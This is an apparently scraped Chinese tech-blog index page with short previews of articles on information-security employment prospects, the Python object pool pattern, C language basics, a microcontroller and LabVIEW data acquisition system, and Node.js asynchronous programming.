前段时间&#xff0c;知名机构麦可思研究院发布了《2024年中国本科生就业报告》&#xff0c;其中详细列出近五年的本科绿牌专业&#xff0c;信息安全位列第一。 对于网络安全的发展与就业前景&#xff0c;知了姐说过很多&#xff0c;作为当下应届生收入较高的专业之一&#xf…
阅读更多...
【Python笔记-设计模式】对象池模式

【Python笔记-设计模式】对象池模式

一、说明 用于管理对象的生命周期&#xff0c;重用已经创建的对象&#xff0c;从而减少资源消耗和创建对象的开销 (一) 解决问题 主要解决频繁创建和销毁对象所带来的性能开销问题。如数据库连接、线程管理、网络连接等&#xff0c;对象的创建和销毁成本相对较高&#xff0c…
阅读更多...
C 语言基本语法及实用案例分享

C 语言基本语法及实用案例分享

一、什么是 C 语言&#xff1f; C语言是一种较早的程序设计语言&#xff0c;诞生于1972年的贝尔实验室。1972 年&#xff0c;Dennis Ritchie 设计了C语言&#xff0c;它继承了B语言的许多思想&#xff0c;并加入了数据类型的概念及其他特性。C语言是一门面向过程的计算机编程语…
阅读更多...
基于单片机和LabVIEW的多路数据采集系统设计

基于单片机和LabVIEW的多路数据采集系统设计

摘　要：以８位高速、低功耗微控制器STC12C5A60S2为硬件控制核心，以Labview为上位机软件开发平台，设计了一个多路数据采集系统。由下位机单片机对多路模拟信号量进行数据采集，通过串口将采集的模拟量信息上传到上位机，上位机Labview对采集的数据进行存储、显示及处理、分析…
阅读更多...
Node.js中如何处理异步编程

Node.js中如何处理异步编程

在Node.js中&#xff0c;处理异步编程是至关重要的技能。由于Node.js的单线程执行模型&#xff0c;异步编程可以极大地提高程序的性能和响应速度。本文将介绍几种常见的异步编程处理方式&#xff0c;并附上示例代码&#xff0c;帮助您更好地理解和应用异步编程技术。 回调函数…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023